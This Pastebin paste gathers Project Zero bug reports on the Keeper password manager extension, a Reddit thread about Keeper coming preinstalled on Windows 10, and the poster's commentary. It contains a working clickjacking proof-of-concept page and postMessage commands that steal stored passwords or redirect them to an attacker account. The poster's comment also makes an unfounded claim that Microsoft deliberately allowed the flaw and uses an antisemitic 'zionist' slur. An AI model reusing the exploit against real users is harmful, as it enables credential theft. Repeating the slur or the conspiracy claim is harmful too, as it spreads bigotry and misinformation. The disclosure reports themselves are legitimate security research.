Advertisement
Guest User

'Keeper' Password Manager Password Thief

a guest
Dec 19th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.07 KB | None | 0 0
  1. 'Keeper' Password Manager pre-packaged with Windows 10 allows complete and easy password theft
  2.  
  3. Crapware pre-packaged with Windows 10 allows complete and easy password theft
  4. A password manager called "keeper" is installed in Windows 10 by default. It allows easy password theft. Microsoft knew this months ago, and kept this vulnerability wide open in the latest update.
  5. The following was posted to bugs.chromium.org
  6. keeper: privileged ui injected into pages (again)
  7. I recently created a fresh Windows 10 VM with a pristine image from MSDN, and found that a password manager called "Keeper" is now installed by default. I'm not the only person who has noticed this:
  8. https://www.reddit.com/r/Windows10/comments/6dpj78/keeper_password_manager_comes_preinstalled_now/
  9. I assume this is some bundling deal with Microsoft. I've heard of Keeper, I remember filing a bug a while ago about how they were injecting privileged UI into pages ( issue 917 ). Amazingly, they're doing the exact same thing again with this version. I think I'm being generous considering this a new issue that qualifies for a ninety day disclosure, as I literally just changed the selectors and the same attack works.
  10. Nevertheless, this is (again) a complete compromise of Keeper security, allowing any website to steal any password. Here is a working demo that steals your twitter password:
  11. https://lock.cmpxchg8b.com/keepertest.html
  12. Please consider adding regression tests before releasing an update for this issue, as I do not plan on creating new issues for every piece of UI I can dispatch events to, and attackers will certainly check them all.
  13. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
  14. My comment: It could not be any more obvious that Microsoft allowed this intentionally in a way they could push the blame off on someone else. This will allow subversive political groups a way to:
  15. 1. Get countless false posts in the names of many people in whatever locations they feel are highly strategic politically.
  16. 2. Give them a doorway into every opponent's life, so they can destroy that opponent and the opponent will never knew what hit them. That opponent could be as benign as your grandma when it is made this easy for an attacker.
  17. 3. Steal whatever they want.
  18. This kind of security hole is a zionist's dream come true. They can destroy absolutely anyone with it. Not at all surprising it is Microsoft allowing it.
  19. http://82.221.129.208/.zo4.html
  20.  
  21. This is an archived post. You won't be able to vote or comment.
  22. 10
  23.  
  24. NewsKeeper Password Manager comes preinstalled now i.redd.it
  25. submitted 6 months ago by ToppestOfDogs
  26. • 20 comments
  27. • share
  28. • save
  29. hide
  30. • report
  31.  
  32. all 20 comments
  33. sorted by:
  34. best
  35.  
  36. Want to add to the discussion?
  37. Post a comment!
  38. CREATE AN ACCOUNT
  39.  
  40. [–]ToppestOfDogs[S] 7 points 6 months ago
  41. I just reinstalled Windows 10 today, and I was uninstalling all the bundled apps like usual, and I noticed that Keeper Password Manager is preinstalled now. I've never seen this come installed with Windows before.
  42. And this isn't a link to install it like some of the other apps, it's actually installed and opens.
  43. • permalink
  44. • embed
  45. • save
  46. [–]aaronfranke 2 points 6 months ago
  47. Which edition?
  48. • permalink
  49. • embed
  50. • save
  51. • parent
  52. [–]ToppestOfDogs[S] 5 points 6 months ago
  53. Pro
  54. • permalink
  55. • embed
  56. • save
  57. • parent
  58. [–]maspiers 2 points 6 months ago
  59. Had it happen on home too, reimaging a PC last week
  60. • permalink
  61. • embed
  62. • save
  63. • parent
  64. [–]4690 2 points 6 months ago
  65. Not OP, but I've had it happen in a VM when I installed 10 Pro on it.
  66. • permalink
  67. • embed
  68. • save
  69. • parent
  70. [–]vitorgrs 4 points 6 months ago
  71. CDM (Content Delivery Manager) does it. It will pre-install some apps based on "your taste".
  72. • permalink
  73. • embed
  74. • save
  75. • parent
  76. [–]MorallyDeplorable 23 points 6 months ago
  77. That's unsettling.
  78. • permalink
  79. • embed
  80. • save
  81. • parent
  82. [–]ToppestOfDogs[S] 7 points 6 months ago
  83. Weird. I've never installed any password stuff from the windows store
  84. • permalink
  85. • embed
  86. • save
  87. • parent
  88. [–]luxtabula 3 points 6 months ago
  89. I've been having computer problems recently and had to reset it. Keeper came preinstalled on the refresh. I highly doubt it was based on my tastes.
  90. • permalink
  91. • embed
  92. • save
  93. • parent
  94. [–]iSn0wElite 3 points 6 months ago
  95. I think this is true, because I reinstalled windows 10 pro today too and it didn't preinstall any password menager, I had some cooking apps instead 😂
  96. • permalink
  97. • embed
  98. • save
  99. • parent
  100. [–]vitorgrs 5 points 6 months ago
  101. Here it installs PowerBi and some "Enterprise" stuff lol
  102. • permalink
  103. • embed
  104. • save
  105. • parent
  106. [–]jantari 2 points 6 months ago
  107. Doubt it, it installed on a brand new laptop that never saw a Microsoft Account only one local admin
  108. • permalink
  109. • embed
  110. • save
  111. • parent
  112. [–]kylegordon 1 point 4 months ago
  113. A fresh laptop out the box here, wiped and 'reset with no data kept' or whatever it's called, and it the app was installed.
  114. I hadn't put in any email addresses, logged in to any websites, or anything. Only my name for the mandatory user account.
  115. It's not based on 'taste'
  116. • permalink
  117. • embed
  118. • save
  119. • parent
  120. [–]jbobisaboss 6 points 5 months ago
  121. Cntent Delivery Manager. It silently installs apps. You can disable this "feature" with a little registry editing:https://insidewindows.net/2016/08/24/how-to-stop-windows-10-1607-from-installing-unwanted-apps/
  122. • permalink
  123. • embed
  124. • save
  125. [–]PM_ME_LUCID_DREAMS 3 points 4 months ago
  126. A bit late, but having reinstalled a "clean" Windows 10 from scratch, this registry edit (SilentInstalledAppsEnabled) was one of the first things I did.
  127. After an "update", Keeper still appeared, alongside CandyCrush and other shit.
  128. The registry key itself was not changed by the "update", and I removed the crapware again and doesn't come back seemingly until the next "update".
  129. • permalink
  130. • embed
  131. • save
  132. • parent
  133. [–]rfarrell1978 1 point 4 months ago
  134. Thanks for this. Regedit is a part of computers that I was totally ignorant to.
  135. • permalink
  136. • embed
  137. • save
  138. • parent
  139. [–]Jordedude1234 1 point 1 month ago
  140. Thank you. You have helped a person who google searched it.
  141. • permalink
  142. • embed
  143. • save
  144. • parent
  145. [–]ACM1911 2 points 6 months ago
  146. I've uninstalled this thing 3 times now. Please go the fuck away Keeper.
  147. • permalink
  148. • embed
  149. • save
  150. [–]exxxidor 2 points 5 months ago
  151. Just got this installed today via the WindowsUpdateClient. Ugh.
  152. Not sure if this is controlled by the Content Delivery System or not. Hope so, as I'm turning that off.
  153. • permalink
  154. • embed
  155. • save
  156. [–]JamesWildDev 1 point 6 months ago
  157. I had this too! So weird.
  158. • permalink
  159. • embed
  160. • save
  161. https://www.reddit.com/r/Windows10/comments/6dpj78/keeper_password_manager_comes_preinstalled_now/?st=jbdxsf69&sh=9606f3e9
  162.  
  163.  
  164. Keeper: Trusted UI is injected into untrusted webpage
  165. Project Member Reported by taviso@google.com, Aug 26 2016
  166. Back to list
  167.  
  168. I took a quick look at Keeper, a password manager for Windows, Mac, Linux. The extension injects it's trusted UI into untrusted webpages with a content script. I don't think that's safe to do.
  169.  
  170. I'm not a web developer, but you can see what I mean in the attached example. I only tested it in Chrome.
  171.  
  172. A more polished example is obviously possible.
  173.  
  174. The example does this:
  175.  
  176. 1. Click the little keeper icon you add to input boxes, that's just: document.getElementById('keeper-icon-2').click();
  177. 2. Click the search button in the popup that appears.
  178. 3. Search for "Google", e.g. document.getElementById('keeper-search-box-input').value="Google"
  179. 4. wait for the search results to appear, then hide the iframe.
  180. 5. When the user is about to click, display it and then wait for the password to be inserted.
  181. 6. Now the page can read the password.
  182.  
  183. This bug is subject to a 90 day disclosure deadline. If 90 days elapse
  184. without a broadly available patch, then the bug report will automatically
  185. become visible to the public.
  186.  
  187.  
  188. Comment 1 Deleted
  189. Project Member Comment 2 by taviso@google.com, Aug 26 2016
  190. I tried to make the example more reliable.
  191.  
  192. keeper.html
  193. 5.0 KB View Download
  194.  
  195. Comment 3 Deleted
  196. Project Member Comment 4 by taviso@google.com, Aug 26 2016
  197. Keeper sent me an updated build that removes the search feature I was using. I suppose that solves the immediate problem. I noticed that the way messages were passed didn't seem safe though.
  198.  
  199. For example, it's possible to log someone into your account and then when they save their passwords, they're effectively giving them to you.
  200.  
  201. For example a website can do this:
  202.  
  203. x = window.open("https://keepersecurity.com/vault/");
  204. x.postMessage({client: "ext", cmd: "logout"},"*")
  205. x.postMessage({client: "ext", cmd: "login", login: "attacker@account.com", password: "attackerspassword"}, "*")
  206.  
  207. And now whenever you save a password, you're unknowingly saving it to the attackers. I asked why there isn't a check for message.origin == "chrome-extension://...", etc.
  208.  
  209. Project Member Comment 5 by taviso@google.com, Aug 27 2016
  210. I uploaded the example here for testing.
  211.  
  212. https://lock.cmpxchg8b.com/keeper.html
  213. Project Member Comment 6 by taviso@google.com, Aug 27 2016
  214. Labels: -Restrict-View-Commit
  215. Summary: Keeper: Trusted UI is injected into untrusted webpage (was: Keeper: trusted UI is injected into untrusted webpage)
  216. It looks like the 10.1.3 update is live on the chrome web store, removing view restriction.
  217. Comment 7 by cr...@keepersecurity.com, Aug 28 2016
  218. This issue has been fixed with Keeper Browser Extension v10.1.3 which is live on Chrome web store. Below is the blog post related to the issue:
  219.  
  220. https://blog.keepersecurity.com/2016/08/28/security-update-for-keeper-browser-extension/
  221.  
  222. Project Member Comment 8 by taviso@google.com, Nov 1 2016
  223. Status: Fixed
  224.  
  225. https://bugs.chromium.org/p/project-zero/issues/detail?id=917
  226.  
  227. keeper: privileged ui injected into pages (again)
  228. Project Member Reported by taviso@google.com, Dec 14 (5 days ago)
  229. Back to list
  230.  
  231.  
  232. I recently created a fresh Windows 10 VM with a pristine image from MSDN, and found that a password manager called "Keeper" is now installed by default. I'm not the only person who has noticed this:
  233.  
  234. https://www.reddit.com/r/Windows10/comments/6dpj78/keeper_password_manager_comes_preinstalled_now/
  235.  
  236. I assume this is some bundling deal with Microsoft. I've heard of Keeper, I remember filing a bug a while ago about how they were injecting privileged UI into pages ( issue 917 ). I checked and, they're doing the same thing again with this version. I think I'm being generous considering this a new issue that qualifies for a ninety day disclosure, as I literally just changed the selectors and the same attack works.
  237.  
  238. Nevertheless, this is a complete compromise of Keeper security, allowing any website to steal any password. Here is a working demo that steals your twitter password:
  239.  
  240. https://lock.cmpxchg8b.com/keepertest.html
  241.  
  242. Please consider adding regression tests before releasing an update for this issue.
  243.  
  244.  
  245. This bug is subject to a 90 day disclosure deadline. After 90 days elapse
  246. or a patch has been made broadly available, the bug report will become
  247. visible to the public.
  248.  
  249.  
  250. Windows 7-2017-12-13-16-33-37.png
  251. 43.2 KB View Download
  252.  
  253.  
  254. Project Member Comment 1 by taviso@google.com, Dec 14 (5 days ago)
  255. Description: Show this description
  256.  
  257. Project Member Comment 2 by taviso@google.com, Dec 14 (4 days ago)
  258. Description: Show this description
  259.  
  260. Project Member Comment 3 by taviso@google.com, Dec 14 (4 days ago)
  261. Keeper replied "we should have a fix built tomorrow and I will let you know when it has been published".
  262.  
  263. We discussed possible fixes, it sounds like they're just going to disable the feature for now.
  264.  
  265. Project Member Comment 4 by taviso@google.com, Dec 15 (4 days ago)
  266. Status: Fixed
  267. Keeper have told me they've released a fixed version.
  268. Project Member Comment 5 by taviso@google.com, Dec 15 (4 days ago)
  269. Labels: -Restrict-View-Commit
  270. Comment 6 by cr...@keepersecurity.com, Dec 15 (3 days ago)
  271. Version 11.4.4 was released 24 hours after the report. Here's our blog post:
  272. https://blog.keepersecurity.com/2017/12/15/update-for-keeper-browser-extension-v11-4/
  273.  
  274.  
  275. Project Member Comment 7 by taviso@google.com, Yesterday (43 hours ago)
  276. Keeper sent me a mail requesting multiple changes to this report, the crux of their concern is that they believe the Keeper browser extension is a separate product to their Keeper desktop application, and believe this report conflates the two products.
  277.  
  278. The keeper browser extension is installed as part of the default setup flow for the Keeper application, the relevant prompt can be seen in the attached screenshot. Unless a user clicks "Skip" in this dialog, they would be affected by this vulnerability. I stand by my original assessment of this issue, and consider clicking "Skip" here a non-default configuration.
  279.  
  280. A user must have completed the setup flow to be vulnerable - the existence of the keeper icon in the start menu alone is not sufficient. If a user has clicked the icon and started using Keeper in the default configuration, they would be vulnerable.
  281.  
  282.  
  283. keeper.jpg
  284. 17.5 KB View Download
  285.  
  286.  
  287.  
  288. https://bugs.chromium.org/p/project-zero/issues/detail?id=1481&desc=3
  289.  
  290.  
  291. This is the *second* time keeper have been injecting privileged search elements into pages. So yet again, here is how to steal the password for any website from a Keeper user.
  292. This page just clicks the search button, types in "Twitter" and then adds this page to the list of logon URLs.
  293. The content below could be invisible, it's low opacity just to demonstrate the attack.
  294.  
  295. https://lock.cmpxchg8b.com/keepertest.html
  296.  
  297.  
  298.  
  299. Issue 917 attachment: keeper.html (5.0 KB)
  300.  
  301.  
  302. <html>
  303. <head>
  304. <script>
  305.  
  306. const kSearchTerm = "Twitter"; // What password to try to steal.
  307. const kPollTime = 1000; // How often to check if the Keeper UI is ready.
  308.  
  309. var timer;
  310. var frame;
  311.  
  312. // Interact with the UI elements Keeper adds to the page to bring up the search
  313. // dialog.
  314. function interact()
  315. {
  316. var icon = document.getElementById('keeper-icon-2');
  317. var search = document.getElementsByClassName("ksec-icon-search")[0];
  318. var input = document.getElementById('keeper-search-box-input');
  319. var w = document.getElementById('keeper-injectWindow');
  320. var create = document.getElementById('keeper-submitYesBtn');
  321. var log = document.getElementsByClassName('keepersecurity_loginField')[0];
  322. var pw = document.getElementsByClassName('keepersecurity_tx')[0];
  323. var save = document.getElementById('save-and-fill-btn');
  324.  
  325. // Click the little key icon added to input boxes.
  326. if (icon)
  327. icon.click();
  328.  
  329. // Sometimes a dialog prompts before the popup is shown, dismiss it.
  330. if (create && create.offsetParent) {
  331. create.click();
  332. return;
  333. }
  334.  
  335. // If it's prompting for a password, fill it in and then reload.
  336. if (pw && save && pw.offsetParent) {
  337. pw.value = "__ignore";
  338. save.click();
  339. setTimeout("document.location.reload()", kPollTime);
  340. return;
  341. }
  342.  
  343. // Click the search icon on the top of the popup.
  344. if (search)
  345. search.click();
  346.  
  347. // Hide the elements created by Keeper.
  348. if (w)
  349. w.style.display = "none";
  350.  
  351. // Enter the search term "Google", which should add an iframe with results.
  352. if (input) {
  353. clearInterval(timer);
  354. input.value = kSearchTerm;
  355. input.dispatchEvent(new CustomEvent("keyup", {}))
  356. timer = setInterval(stealframe, kPollTime);
  357. }
  358. }
  359.  
  360. function stealframe()
  361. {
  362. frame = document.getElementById('keeper-search-result-frame-results');
  363. target = document.getElementById('target');
  364.  
  365. if (frame) {
  366. clearInterval(timer);
  367.  
  368. // We can't access the results, but we can move the iframe around, as
  369. // soon as it appears, remove it.
  370. frame.parentElement.removeChild(frame);
  371. target.style.display = "block";
  372. // Move the iframe somewhere predictable, but make it transparent so
  373. // the user doesn't know they're clicking it.
  374. frame.style.position = "absolute";
  375. frame.style.width = "256px";
  376. frame.style.height = "64px";
  377. frame.style.overflowX = "hidden";
  378. frame.style.overflowY = "hidden";
  379. frame.style.overflow = "hidden";
  380. frame.style.opacity = "0.01";
  381. //frame.style.top = "-30px"; // First button
  382. frame.style.top = "-82px"; // Second button
  383. frame.style.left = "0px";
  384. target.appendChild(frame);
  385. }
  386. }
  387.  
  388. </script>
  389. <style>
  390. body {
  391. font-family: Arial, Helvetica, sans-serif;
  392. font-size: 16px;
  393. }
  394.  
  395. /* Hide all Keeper UI */
  396. kwdiv {
  397. opacity: 0.01;
  398. }
  399.  
  400. #target {
  401. display: none;
  402. }
  403.  
  404. #test {
  405. opacity: 0.01;
  406. }
  407.  
  408. #target {
  409. position: relative;
  410. font-weight: bold;
  411. }
  412.  
  413. #filltitle {
  414. font-size: 14px;
  415. padding: 6px 0px;
  416. position: absolute;
  417. top: 7px;
  418. left: 7px;
  419. }
  420.  
  421. /* This is the cssText from the real button */
  422. #fillbutton {
  423. font-family: Arial, Helvetica, sans-serif;
  424. font-size: 14px;
  425. line-height: 20px;
  426. color: rgb(0, 0, 238);
  427. width: 44px;
  428. padding: 6px 0px;
  429. height: 20px;
  430. text-align: center;
  431. font-weight: bold;
  432. border: 1px hidden;
  433. border-radius: 3px;
  434. cursor: pointer;
  435. float: right;
  436. margin-right: 16px;
  437. position: absolute;
  438. top: 7px;
  439. left: 185px;
  440. text-decoration: underline;
  441. }
  442. </style>
  443. </head>
  444.  
  445. <body onload="timer = setInterval(interact, kPollTime)">
  446.  
  447. <p>
  448. This demonstration attempts to automate interacting with the Keeper Chrome
  449. extension so that the page can steal passwords.
  450. </p>
  451. <p>
  452. This is done by:
  453. <ul>
  454. <li>Creating a hidden form that keeper adds a button (<img src="chrome-extension://bfogiafebfohielmmehodmfbbebbbpei/images/16x16gold.png">) to.</li>
  455. <li>Finding that button, then clicking it with JavaScript.</li>
  456. <li>Keeper injects a search dialog into the page, which I enter "Twitter" into.</li>
  457. <li>Waiting for Keeper to draw an iframe with the search results.</li>
  458. <li>Moving the frame around so you don't know what you're clicking on.</li>
  459. <li>If you do click it, the password is sent to the untrusted page.</li>
  460. </ul>
  461. </p>
  462. <p>
  463. The result is that if you click anywhere on a page, you could be sending a
  464. password for another site.
  465. </p>
  466. <div id=target>
  467. <div id=filltitle>Try clicking this link:</div>
  468. <div id=fillbutton>Here</div>
  469. </div>
  470.  
  471. <form id=test>
  472. <input type=text name=username>
  473. <input type=password name=password onchange="(value != '__ignore') && alert(value)">
  474. </form>
  475. </body>
  476. </html>
  477.  
  478. https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=248504
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement